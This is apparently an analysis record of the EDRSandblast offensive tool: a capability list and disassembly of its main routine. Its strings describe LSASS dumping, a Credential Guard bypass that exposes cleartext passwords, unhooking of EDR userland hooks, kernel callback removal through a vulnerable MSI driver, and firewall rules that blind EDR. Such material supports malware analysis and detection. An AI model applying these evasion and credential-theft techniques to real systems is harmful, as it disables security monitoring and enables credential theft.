Function at 0x140001250
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Create thread
Delete file
Get common file path
Get file attributes
Set registry value
Terminate process
Terminate thread

Disassembly:
push rbp
push r12
push r14
lea rbp, [rsp - 0x5190]
mov eax, 0x5290
call fcn.140027490
sub rsp, rax
mov rax, qword [0x14004c018]
xor rax, rsp
mov qword [rbp + 0x5170], rax
mov r12, rdx
lea r8, str.Usage:_EDRSandblast.exe___h____help____v____verbose___audit__dump__cmd__credguard__firewall_____usermode____unhook_method__N______direct_syscalls______kernelmode_____dont_unload_driver_____no_restore_____driver__RTCore64.sys______service__SERVICE_NAME______nt_offsets__NtoskrnlOffsets.csv______wdigest_offsets__WdigestOffsets.csv______add_dll__dll_name_or_path_____o____dump_output__DUMP_FILE__
lea rdx, [rbp + 0x1a40]
mov r14d, ecx
mov eax, 6
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
lea r8, [r8 + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [r8 - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [r8 - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [r8 - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [r8 - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [r8 - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [r8 - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rax, 1
jne 0x1400012a0
mov eax, dword [r8 + 0x20]
lea rcx, [rbp + 0x2d70]
movups xmm0, xmmword [r8]
mov qword [rsp + 0x52b0], rbx
movups xmm1, xmmword [r8 + 0x10]
mov qword [rsp + 0x52c0], rsi
movups xmmword [rdx], xmm0
mov qword [rsp + 0x52c8], rdi
movups xmmword [rdx + 0x10], xmm1
mov dword [rdx + 0x20], eax
movzx eax, word [r8 + 0x24]
mov r8d, 0x23f6
mov word [rdx + 0x24], ax
lea rdx, str._n_h____help_____________Show_this_help_message_and_exit._n_v____verbose__________Enable_a_more_verbose_output._n_nActions_mode:_n_n_taudit___________Display_the_user_land_hooks_and___or_Kernel_callbacks_without_taking_actions._n_tdump____________Dump_the_process_specified_by___process_name__LSASS_process_by_default___as__process_name__in_the_current_directory_or_at_the_n_t________________specified_file_using__o____output__DUMP_FILE_._n_tcmd_____________Open_a_cmd.exe_prompt._n_tcredguard_______Patch_the_LSASS_process_memory_to_enable_Wdigest_cleartext_passwords_caching_even_if_n_t________________Credential_Guard_is_enabled_on_the_host._No_kernel_land_actions_required._n_tfirewall________Add_Windows_firewall_rules_to_block_network_access_for_the_EDR_processes___services._n_n__usermode______________Perform_user_land_operations__DLL_unhooking_._n__kernelmode____________Perform_kernel_land_operations__Kernel_callbacks_removal_and_ETW_TI_disabling_._n_n__unhook_method__N__n___Choose_the_userland_un_hooking_technique__from_the_following:__n_n_t0_______________Do_not_perform_any_unhooking__used_for_direct_syscalls_operations_._n_t1__Default______Uses_the__probably_monitored__NtProtectVirtualMemory_function_in_ntdll_to_remove_all_n_t________________present_userland_hooks._n_t2_______________Constructs_a_unhooked__i.e._unmonitored__version_of_NtProtectVirtualMemory__by_n_t________________allocating_an_executable_trampoline_jumping_over_the_hook__and_remove_all_present_n_t________________userland_hooks._n_t3_______________Searches_for_an_existing_trampoline_allocated_by_the_EDR_itself__to_get_an_unhooked_n_t_________________i.e._unmonitored__version_of_NtProtectVirtualMemory__and_remove_all_present_userland_n_t________________hooks._n_t4_______________Loads_an_additional_version_of_ntdll_library_into_memory__and_use_the__hopefully_n_t________________unmonitored__version_of_NtProtectVirtualMemory_present_in_this_library_to_remove_all_n_t________________present_userland_hooks._n_t5_______________Allocates_a_shellcode_that_uses_a_direct_syscall_to_call_NtProtectVirtualMemory__n_t________________and_uses_it_to_remove_all_detected_hooks_n__direct_syscalls_______Use_direct_syscalls_to_conduct_the_specified_action_if_possible__for_now_only_for_process_dump_._n_nOther_options:_n_n__dont_unload_driver____________________Keep_the_vulnerable_driver_installed_on_the_host_n________________________________________Default_to_automatically_unsinstall_the_driver._n__no_restore____________________________Do_not_restore_the_EDR_drivers_Kernel_Callbacks_that_were_removed._n________________________________________Default_to_restore_the_callbacks._n_n__driver__RTCore64.sys__________________Path_to_the_Micro_Star_MSI_Afterburner_vulnerable_driver_file._n________________________________________Default_to_RTCore64.sys_in_the_current_directory._n__service__SERVICE_NAME_________________Name_of_the_vulnerable_service_to_intall___start._n_n__nt_offsets__NtoskrnlOffsets.csv_______Path_to_the_CSV_file_containing_the_required_ntoskrnl.exes_offsets._n________________________________________Default_to_NtoskrnlOffsets.csv_in_the_current_directory._n__wdigest_offsets__WdigestOffsets.csv___Path_to_the_CSV_file_containing_the_required_wdigest.dlls_offsets_n_________________________________________only_for_the_credguard_mode_._n________________________________________Default_to_WdigestOffsets.csv_in_the_current_directory._n_n__add_dll__dll_name_or_path_____________Loads_arbitrary_libraries_into_the_process_address_space__before_starting_n________________________________________anything._This_can_be_useful_to_audit_userland_hooking_for_DLL_that_are_not_n________________________________________loaded_by_default_by_this_program._Use_this_option_multiple_times_to_load_n________________________________________multiple_DLLs_all_at_once._n________________________________________Example_of_interesting_DLLs_to_look_at:_user32.dll__ole32.dll__crypt32.dll__n________________________________________samcli.dll__winhttp.dll__urlmon.dll__secur32.dll__shell32.dll
mov qword [rsp + 0x5288], r13
mov qword [rsp + 0x5280], r15
call fcn.14000d4c0
xor edx, edx
lea rcx, [rbp + 0x12c0]
mov r8d, 0x208
call fcn.14000c5f0
lea rdx, [rbp + 0x12c0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp r14d, 2
jl 0x140002dae
xor edx, edx
lea rcx, [rbp + 0x14d0]
mov r8d, 0x208
lea r15d, [rdx + 5]
call fcn.14000c5f0
movups xmm0, xmmword [str.GodFault.exe]
lea rcx, [rbp + 0xaa0]
movzx eax, word [0x140033618]
movsd xmm1, qword [0x140033610]
xor edx, edx
mov r8d, 0x208
movsd qword [rbp + 0x880], xmm1
movups xmmword [rbp + 0x870], xmm0
mov word [rbp + 0x888], ax
call fcn.14000c5f0
xor edx, edx
lea rcx, [rbp + 0xcb0]
mov r8d, 0x208
call fcn.14000c5f0
movups xmm0, xmmword [str.lsass.exe]
mov eax, dword [0x140033630]
lea rcx, [rbp + 0x890]
xor edx, edx
mov dword [rbp + 0x868], eax
mov r8d, 0x208
movups xmmword [rbp + 0x858], xmm0
call fcn.14000c5f0
xor edx, edx
mov dword [rsp + 0x78], 1
mov dword [rsp + 0x54], edx
mov r13d, edx
mov dword [rsp + 0x5c], edx
mov edi, 1
mov dword [rsp + 0x58], edx
lea rsi, [rdx - 1]
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x64], edx
mov dword [rsp + 0x50], edx
mov dword [rbp - 0x78], edx
mov dword [rsp + 0x70], edx
mov dword [rsp + 0x68], edx
mov dword [rbp - 0x80], edx
nop word [rax + rax]
movsxd rax, edi
lea rdx, str.dump
mov rcx, qword [r12 + rax*8]
lea rbx, [r12 + rax*8]
call fcn.14000f9d0
test eax, eax
jne 0x140001495
xor eax, eax
mov r15d, eax
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, [0x140033648]
call fcn.14000f9d0
test eax, eax
jne 0x1400014b1
lea r15d, [rax + 1]
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.credguard
call fcn.14000f9d0
test eax, eax
jne 0x1400014cd
lea r15d, [rax + 2]
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.audit
call fcn.14000f9d0
test eax, eax
jne 0x1400014e9
lea r15d, [rax + 3]
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.firewall
call fcn.14000f9d0
test eax, eax
jne 0x140001505
lea r15d, [rax + 4]
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, [0x14003368c]
call fcn.14000f9d0
test eax, eax
je 0x140002d92
mov rcx, qword [rbx]
lea rdx, str.__help
call fcn.14000f9d0
test eax, eax
je 0x140002d92
mov rcx, qword [rbx]
lea rdx, [0x1400336a8]
call fcn.14000f9d0
test eax, eax
je 0x140001892
mov rcx, qword [rbx]
lea rdx, str.__verbose
call fcn.14000f9d0
test eax, eax
je 0x140001892
mov rcx, qword [rbx]
lea rdx, str.__usermode
call fcn.14000f9d0
test eax, eax
jne 0x140001581
mov dword [rsp + 0x5c], 1
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__kernelmode
call fcn.14000f9d0
test eax, eax
jne 0x1400015a1
mov dword [rsp + 0x50], 1
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__dont_unload_driver
call fcn.14000f9d0
test eax, eax
je 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__no_restore
call fcn.14000f9d0
test eax, eax
jne 0x1400015d6
xor eax, eax
mov dword [rsp + 0x78], eax
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__driver
call fcn.14000f9d0
test eax, eax
jne 0x140001620
inc edi
cmp edi, r14d
jg 0x140002dae
movsxd rax, edi
mov r9, rsi
mov r8, qword [r12 + rax*8]
nop
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001600
mov edx, 0x104
lea rcx, [rbp + 0x14d0]
call fcn.1400166d4
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__service
call fcn.14000f9d0
test eax, eax
jne 0x14000167f
inc edi
cmp edi, r14d
jg 0x140002dae
mov rcx, qword [0x14004fe60]
movsxd rax, edi
mov rbx, qword [r12 + rax*8]
test rcx, rcx
je 0x140001656
call fcn.1400164d4
mov rcx, rbx
call fcn.14000fb40
mov qword [0x14004fe60], rax
test rax, rax
jne 0x14000189a
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
call fcn.1400165d0
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__nt_offsets
call fcn.14000f9d0
test eax, eax
jne 0x1400016d0
inc edi
cmp edi, r14d
jg 0x140002dae
movsxd rax, edi
mov r9, rsi
mov r8, qword [r12 + rax*8]
nop word [rax + rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x1400016b0
mov edx, 0x104
lea rcx, [rbp + 0xaa0]
call fcn.1400166d4
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__wdigest_offsets
call fcn.14000f9d0
test eax, eax
jne 0x140001720
inc edi
cmp edi, r14d
jg 0x140002dae
movsxd rax, edi
mov r9, rsi
mov r8, qword [r12 + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001700
mov edx, 0x104
lea rcx, [rbp + 0xcb0]
call fcn.1400166d4
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, [0x1400337c4]
call fcn.14000f9d0
test eax, eax
je 0x140001860
mov rcx, qword [rbx]
lea rdx, str.__dump_output
call fcn.14000f9d0
test eax, eax
je 0x140001860
mov rcx, qword [rbx]
lea rdx, str.__process_name
call fcn.14000f9d0
test eax, eax
jne 0x140001796
inc edi
cmp edi, r14d
jg 0x140002dae
movsxd rax, edi
mov r9, rsi
mov r8, qword [r12 + rax*8]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001776
mov edx, 0xa
lea rcx, [rbp + 0x858]
call fcn.1400166d4
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__unhook_method
call fcn.14000f9d0
test eax, eax
jne 0x1400017c9
inc edi
cmp edi, r14d
jg 0x140002dae
movsxd rcx, edi
mov rcx, qword [r12 + rcx*8]
call fcn.140010be8
mov dword [rsp + 0x60], eax
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__direct_syscalls
call fcn.14000f9d0
test eax, eax
jne 0x1400017e9
mov dword [rsp + 0x64], 1
jmp 0x14000189a
mov rcx, qword [rbx]
lea rdx, str.__add_dll
call fcn.14000f9d0
test eax, eax
jne 0x14000182c
inc edi
cmp edi, r14d
jg 0x140002dae
movsxd rax, edi
mov rcx, qword [r12 + rax*8]
lea rbx, [r12 + rax*8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp rax, rsi
jne 0x14000189a
mov rdx, qword [rbx]
lea rcx, str.Library__s_could_not_have_been_loaded__exiting..._n
jmp 0x140002dbc
mov rcx, qword [rbx]
lea rdx, [0x1400338d8]
call fcn.14000f9d0
test eax, eax
je 0x140001856
mov rcx, qword [rbx]
lea rdx, str.__internet
call fcn.14000f9d0
test eax, eax
jne 0x140002dae
mov dword [rsp + 0x58], 1
jmp 0x14000189a
inc edi
cmp edi, r14d
jg 0x140002dae
movsxd rax, edi
mov r9, rsi
mov r8, qword [r12 + rax*8]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001875
mov edx, 0x104
lea rcx, [rbp + 0x890]
call fcn.1400166d4
jmp 0x14000189a
mov dword [rsp + 0x54], 1
inc edi
cmp edi, r14d
jl 0x140001470
call fcn.1400010d0
test eax, eax
jne 0x140001a93
lea rax, [rbp + 0x16e0]
mov edx, 6
lea rcx, str._______________________________________________________________________r_n__________________________________________________________r_n________________________________________________________r_n_____________________________________________________r_n_______________________________________________r_n____________________________________._______________n
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400018d0
movups xmm0, xmmword [rcx]
mov r8d, 0x1d2
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
lea rcx, [rbp + 0xeee]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [str.D3FC0N_30_Edition]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [0x140030e00]
movups xmm1, xmmword [0x140030df0]
mov dword [rbp + 0x850], eax
mov eax, dword [0x140030e30]
movups xmmword [rbp + 0x830], xmm0
mov dword [rbp + 0xee8], eax
movups xmm0, xmmword [str.Thomas_DIOT____Qazeer_]
movzx eax, word [0x140030e34]
movups xmmword [rbp + 0x840], xmm1
mov word [rbp + 0xeec], ax
movups xmm1, xmmword [0x140030e18]
movaps xmmword [rbp + 0xec0], xmm0
movsd xmm0, qword [0x140030e28]
movsd qword [rbp + 0xee0], xmm0
movaps xmmword [rbp + 0xed0], xmm1
call fcn.14000c5f0
movups xmm0, xmmword [str.Maxime_MEIGNAN___th3m4ks_]
mov eax, dword [0x140030e68]
xor edx, edx
movups xmm1, xmmword [0x140030e48]
lea rcx, [rbp + 0x10f4]
mov r8d, 0x1cc
movaps xmmword [rbp + 0x10c0], xmm0
movups xmm0, xmmword [0x140030e58]
mov dword [rbp + 0x10f0], eax
movaps xmmword [rbp + 0x10d0], xmm1
movaps xmmword [rbp + 0x10e0], xmm0
call fcn.14000c5f0
xor ecx, ecx
call fcn.140016464
mov rcx, rax
call fcn.14000f734
call fcn.14000f708
mov ebx, eax
and ebx, 0x80000001
jge 0x140001a40
dec ebx
or ebx, 0xfffffffe
inc ebx
lea rcx, [rbp + 0x16e0]
call fcn.1400165d0
lea ecx, [rbx + 1]
and ecx, 0x80000001
jge 0x140001a5e
dec ecx
or ecx, 0xfffffffe
inc ecx
movsxd rax, ecx
lea r9, [rbp + 0xec0]
shl rax, 9
lea r8, [rbp + 0xec0]
add r9, rax
lea rdx, [rbp + 0x830]
movsxd rax, ebx
lea rcx, str.___s___s___s_n_n
shl rax, 9
add r8, rax
call fcn.140001010
cmp r15d, 5
jne 0x140001aaa
lea rcx, str.____You_did_not_provide_an_action_to_perform:_audit__dump__credguard_or_cmd
call fcn.1400165d0
jmp 0x140002dc1
mov edi, dword [rsp + 0x50]
cmp r15d, 1
jne 0x140001ac9
test edi, edi
jne 0x140001ac9
lea rcx, str.cmd_mode_needs_kernel_land_unhooking_to_work__please_enable___kernelmode
call fcn.1400165d0
jmp 0x140002dc1
mov ebx, dword [rsp + 0x5c]
test ebx, ebx
jne 0x140001af2
test edi, edi
jne 0x140001ae6
lea rcx, str.____You_did_not_provide_at_least_one_option_between___usermode_and___kernelmode._Enabling___usermode_by_default..._n
call fcn.1400165d0
lea ebx, [rdi + 1]
jmp 0x140001af2
lea rcx, str.____If_kernel_mode_bypass_is_enabled__it_is_recommended_to_enable_usermode_bypass_as_well__e.g._to_unhook_the_NtLoadDriver_API_call__n
call fcn.1400165d0
cmp r15d, 2
jne 0x140001b05
test edi, edi
jne 0x140001b1a
lea rcx, str.____Credential_Guard_bypass_might_fail_if_RunAsPPL_is_enabled._Enable___kernelmode_to_bypass_PPL_n
jmp 0x140001b15
test r15d, r15d
jne 0x140001b1a
test edi, edi
jne 0x140001b1a
lea rcx, str.____LSASS_dump_might_fail_if_RunAsPPL_is_enabled._Enable___kernelmode_to_bypass_PPL_n
call fcn.1400165d0
mov edi, 1
test ebx, ebx
je 0x140001bb3
lea rcx, str.__USER_MODE___n
call fcn.1400165d0
lea rcx, str.___Detecting_userland_hooks_in_all_loaded_DLLs...
call fcn.1400165d0
call fcn.1400053d0
lea rcx, [0x140033e68]
mov rbx, rax
call fcn.1400165d0
cmp r15d, 3
je 0x140001ba7
mov r14d, dword [rsp + 0x60]
test r14d, r14d
je 0x140001ba7
cmp qword [rbx], r13
je 0x140001ba7
lea rcx, str.____Hooks__tRemoving_detected_userland_hooks...
call fcn.1400165d0
cmp qword [rbx], r13
je 0x140001ba7
nop dword [rax]
mov rdx, qword [rbx + 0x10]
lea rcx, str.____Hooks__tUnhooking__s_using_method__ld..._n
mov r8d, r14d
call fcn.140001070
mov edx, r14d
mov rcx, rbx
call fcn.140004be0
add rbx, 0x20
cmp qword [rbx], r13
jne 0x140001b80
lea rcx, [0x140033e68]
call fcn.1400165d0
mov ebx, dword [rsp + 0x50]
test ebx, ebx
je 0x140002224
lea rcx, str.__KERNEL_MODE___n
call fcn.1400165d0
lea rcx, [rbp + 0x14d0]
mov rax, rsi
inc rax
cmp word [rcx + rax*2], r13w
jne 0x140001bd5
test rax, rax
jne 0x140001c0c
lea rdx, [rbp + 0x12c0]
lea rcx, [rbp + 0x14d0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x870]
lea rcx, [rbp + 0x14d0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x14d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000220a
test al, 0x10
jne 0x14000220a
lea rcx, [rbp + 0xaa0]
mov rax, rsi
inc rax
cmp word [rcx + rax*2], r13w
jne 0x140001c34
test rax, rax
jne 0x140001c97
movups xmm0, xmmword [str.NtoskrnlOffsets.csv]
lea rdx, [rbp + 0x12c0]
movups xmm1, xmmword [0x140033fc0]
lea rcx, [rbp + 0xaa0]
movups xmmword [rbp + 0x830], xmm0
movsd xmm0, qword [0x140033fd0]
movsd qword [rbp + 0x850], xmm0
movups xmmword [rbp + 0x840], xmm1
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x830]
lea rcx, [rbp + 0xaa0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, str.___Setting_up_prerequisites_for_the_kernel_read_write_primitives...
call fcn.1400165d0
lea rcx, [rbp + 0xaa0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001d13
test al, 0x10
jne 0x140001d13
lea rcx, str.___Loading_kernel_related_offsets_from_the_CSV_file
call fcn.1400165d0
lea rcx, [rbp + 0xaa0]
call fcn.140006530
cmp qword [0x14004e220], r13
je 0x140001d07
cmp qword [0x14004e228], r13
je 0x140001d07
cmp qword [0x14004e230], r13
je 0x140001d07
cmp qword [0x14004e258], r13
je 0x140001d07
cmp qword [0x14004e260], r13
je 0x140001d07
cmp qword [0x14004e268], r13
jne 0x140001d13
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_ntoskrnl_in_use.
call fcn.1400165d0
lea rdi, [0x14004e220]
cmp dword [rsp + 0x58], r13d
je 0x140001e96
cmp qword [0x14004e220], r13
je 0x140001d5f
cmp qword [0x14004e228], r13
je 0x140001d5f
cmp qword [0x14004e230], r13
je 0x140001d5f
cmp qword [0x14004e258], r13
je 0x140001d5f
cmp qword [0x14004e260], r13
je 0x140001d5f
cmp qword [0x14004e268], r13
jne 0x140001e96
lea rcx, str.___Downloading_kernel_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.1400165d0
call fcn.140006700
cmp qword [0x14004e220], r13
je 0x140001e8a
cmp qword [0x14004e228], r13
je 0x140001e8a
cmp qword [0x14004e230], r13
je 0x140001e8a
cmp qword [0x14004e258], r13
je 0x140001e8a
cmp qword [0x14004e260], r13
je 0x140001e8a
cmp qword [0x14004e268], r13
je 0x140001e8a
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.1400165d0
lea rcx, [rbp + 0xaa0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001e96
test al, 0x10
jne 0x140001e96
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.1400165d0
call fcn.140006b10
mov rbx, rax
lea r8, [0x1400387b4]
xor eax, eax
lea rdx, [rbp + 0xaa0]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], rax
call fcn.1400171fc
mov rcx, qword [rsp + 0x70]
test rcx, rcx
jne 0x140001e2e
lea rcx, str.____Offset_CSV_file_connot_be_opened
jmp 0x140001e91
mov r8, rbx
lea rdx, [0x1400335f8]
call fcn.1400047e0
mov rbx, rdi
lea r14, [0x14004e270]
nop word [rax + rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x70]
call fcn.1400047e0
add rbx, 8
cmp rbx, r14
jl 0x140001e50
mov rdx, qword [rsp + 0x70]
lea rcx, [0x140035674]
call fcn.140017590
mov rcx, qword [rsp + 0x70]
call fcn.140017374
jmp 0x140001e96
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.1400165d0
cmp qword [0x14004e220], r13
je 0x1400021f9
cmp qword [0x14004e228], r13
je 0x1400021f9
cmp qword [0x14004e230], r13
je 0x1400021f9
cmp qword [0x14004e258], r13
je 0x1400021f9
cmp qword [0x14004e260], r13
je 0x1400021f9
cmp qword [0x14004e268], r13
je 0x1400021f9
mov r14d, dword [rsp + 0x54]
test r14d, r14d
je 0x140001f2c
lea rcx, str.___Ntoskrnl_offsets:
call fcn.140001010
lea rbx, [0x14004e268]
mov rdx, qword [rdi]
lea rcx, str.__llx_
call fcn.140001010
add rdi, 8
cmp rdi, rbx
jl 0x140001f01
mov rdx, qword [0x14004e268]
lea rcx, str._llx_n
call fcn.140001010
lea rcx, str.___Checking_if_any_EDR_kernel_notify_rountines_are_set_for_image_loading__process_and_thread_creations...
call fcn.1400165d0
mov edx, 0x3808
mov ecx, 1
call fcn.14000f700
mov r13, rax
test rax, rax
jne 0x140001f60
lea rcx, str.____Couldnt_allocate_memory_to_enumerate_the_drivers_in_Kernel_callbacks
call fcn.1400165d0
jmp 0x140002dc1
mov r8d, r14d
mov rdx, r13
xor ecx, ecx
call fcn.1400079f0
mov r8d, r14d
mov rdx, r13
mov ecx, 1
mov ebx, eax
call fcn.1400079f0
mov r8d, r14d
mov rdx, r13
mov ecx, 2
or ebx, eax
call fcn.1400079f0
mov r14d, eax
lea rcx, [0x140033e68]
or r14d, ebx
mov dword [rsp + 0x68], r14d
call fcn.1400165d0
lea rcx, str.___Checking_if_EDR_callbacks_are_registered_on_processes_and_threads_handle_creation_duplication...
call fcn.1400165d0
mov rcx, r13
call fcn.140006bc0
mov ebx, eax
mov dword [rbp - 0x80], eax
lea rax, str.present
test ebx, ebx
lea rdx, str.not_found
cmovne rdx, rax
lea rcx, str.____ObjectCallblacks__tObject_callbacks_are__s___n
call fcn.140001010
xor eax, eax
lea rcx, [0x140033e68]
test r14d, r14d
mov edi, eax
mov r14d, eax
sete dil
test ebx, ebx
cmovne edi, r14d
call fcn.1400165d0
lea rcx, str.____ETWTI__tChecking_the_ETW_Threat_Intelligence_Provider_state...
call fcn.1400165d0
mov ecx, dword [rsp + 0x54]
call fcn.140007360
mov rbx, rax
test rax, rax
jne 0x14000212a
lea rdx, str.DISABLED
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
call fcn.140001010
lea rcx, [0x140033e68]
call fcn.1400165d0
mov ebx, dword [rsp + 0x50]
cmp r15d, 3
je 0x140002d7c
test edi, edi
je 0x140002a93
lea rcx, str.___Process_is__safe__to_launch_our_payload_n
call fcn.1400165d0
test r15d, r15d
je 0x14000280e
sub r15d, 1
je 0x14000277b
sub r15d, 1
je 0x14000222e
cmp r15d, 2
jne 0x140002a82
xor eax, eax
lea rcx, str.___Configuring_Windows_Firewall_rules_to_block_EDR_network_access..._n
mov qword [rsp + 0x70], rax
call fcn.140001010
lea rcx, [rsp + 0x70]
call fcn.140006330
test eax, eax
lea rdx, str.___Successfully_configured_Windows_Firewall_rules_to_block_EDR_network_access__n
lea rcx, str.____An_error_occured_while_attempting_to_create_Firewall_rules__n
cmovns rcx, rdx
call fcn.140001010
lea rcx, [0x140035674]
call fcn.140001010
lea rcx, str.___The_Firewall_blocking_rules_created_can_be_manually_deleted_using_the_following_commands:
call fcn.1400165d0
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x140002a82
nop word [rax + rax]
mov rdx, qword [rbx + 8]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_name_s_n
call fcn.140001010
mov rdx, qword [rbx + 0x10]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_name_s_n
call fcn.140001010
mov rbx, qword [rbx + 0x18]
test rbx, rbx
jne 0x1400020f0
lea rcx, [0x140033e68]
call fcn.1400165d0
jmp 0x140002d7c
movabs rax, 0x800000000000
cmp rbx, rax
jb 0x140002e0a
movabs rax, 0xffff800000000000
cmp rbx, rax
jb 0x140002e24
call fcn.140007160
lea rcx, [0x14004e680]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rcx, qword [0x14004e690]
lea rax, [rbp - 0x74]
mov qword [0x14004e6b0], rax
mov dword [0x14004e6a0], r14d
mov qword [0x14004e6a8], rbx
mov qword [0x14004e6b8], 1
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rcx, [0x14004e680]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [0x14004e698]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [rbp - 0x74], 1
lea rax, str.ENABLED
lea rdx, str.DISABLED
sete r14b
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
test r14d, r14d
cmovne rdx, rax
call fcn.140001010
lea rcx, [0x140033e68]
call fcn.1400165d0
test r14d, r14d
je 0x140002041
xor eax, eax
mov edi, eax
jmp 0x140002041
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._Aborting..._n
call fcn.1400165d0
jmp 0x140002dc1
lea rdx, [rbp + 0x14d0]
lea rcx, str.____Required_driver_file_not_present_at__s_nExiting..._n
call fcn.140001010
mov eax, edi
jmp 0x140002dc6
mov r14d, dword [rsp + 0x70]
jmp 0x140002045
lea rax, [rbp + 0xcb0]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x140002235
test rsi, rsi
jne 0x1400022a8
movups xmm0, xmmword [str.WdigestOffsets.csv]
mov r9d, 0x104
lea r8, [rbp + 0x12c0]
movups xmm1, xmmword [0x140034eb8]
mov edx, r9d
lea rcx, [rbp + 0xcb0]
movups xmmword [rbp + 0x830], xmm0
movsd xmm0, qword [0x140034ec8]
movsd qword [rbp + 0x850], xmm0
movups xmmword [rbp + 0x840], xmm1
call fcn.140010c98
lea r9d, [rsi + 0x14]
mov edx, 0x104
lea r8, [rbp + 0x830]
lea rcx, [rbp + 0xcb0]
call fcn.140010c98
lea rcx, [rbp + 0xcb0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rbx, [0x14004de00]
lea r15, [0x14004de10]
cmp eax, 0xffffffff
je 0x14000243b
test al, 0x10
jne 0x14000243b
lea rcx, str.___Loading_wdigest_related_offsets_from_the_CSV_file
call fcn.1400165d0
call fcn.140004940
mov rdx, rax
lea rcx, str.___Systems_wdigest.dll_file_version_is:__s_n
mov rdi, rax
call fcn.140001010
xor r12d, r12d
lea r8, [0x14003867c]
lea rdx, [rbp + 0xcb0]
mov qword [rsp + 0x70], r12
lea rcx, [rsp + 0x70]
call fcn.1400171fc
mov r8, qword [rsp + 0x70]
test r8, r8
jne 0x140002332
lea rcx, [0x140038680]
call fcn.1400165d0
